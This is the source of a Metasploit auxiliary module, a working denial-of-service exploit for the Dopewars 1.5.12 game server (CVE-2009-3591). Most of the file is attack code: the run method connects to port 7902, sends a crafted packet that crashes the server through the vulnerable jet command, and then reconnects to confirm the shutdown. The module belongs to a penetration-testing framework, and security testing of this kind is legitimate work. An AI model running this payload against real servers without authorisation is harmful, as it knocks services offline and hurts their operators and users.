metasploit-framework/modules/auxiliary/dos/misc/dopewars.rb

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#	http://metasploit.com/
##

require 'msf/core'

class Metasploit4 < Msf::Auxiliary

  include Msf::Exploit::Remote::Tcp
  include Msf::Auxiliary::Dos

  def initialize(info = {})
    super(update_info(info,
      'Name'			 => 'Dopewars Denial of Service',
      'Description'	 => %q{
          The jet command in Dopewars 1.5.12 is vulnerable to a segmentaion fault due to
        a  lack of input validation.
      },
      'Author'		 => [ 'Doug Prostko <dougtko[at]gmail.com>' ],
      'License'		 => MSF_LICENSE,
      'References'	 =>
        [
          [ 'CVE', '2009-3591' ],
          [ 'OSVDB', '58884' ],
          [ 'BID', '36606' ]
        ],
      'DisclosureDate' => "Oct 05 2009" ))

    register_options([Opt::RPORT(7902)], self.class)
  end

  def run
    # The jet command is vulnerable.
    # Program received signal SIGSEGV, Segmentation fault.
    # [Switching to Thread 0xb74916c0 (LWP 30638)]
    # 0x08062f6e in HandleServerMessage (buf=0x8098828 "", Play=0x809a000) at
    # serverside.c:525
    # 525			dopelog(4, LF_SERVER, "%s jets to %s",
    #
    connect
    pkt =  "foo^^Ar1111111\n^^Acfoo\n^AV65536\n"
    print_status("Sending dos packet...")
    sock.put(pkt)
    disconnect

    print_status("Checking for success...")
    select(nil, nil, nil, 2)
    begin
      connect
    rescue ::Interrupt
      raise $!
    rescue ::Rex::ConnectionRefused
      print_good("Dopewars server successfully shut down!")
    else
      print_error("DOS attack unsuccessful")
    ensure
      disconnect
    end
  end
end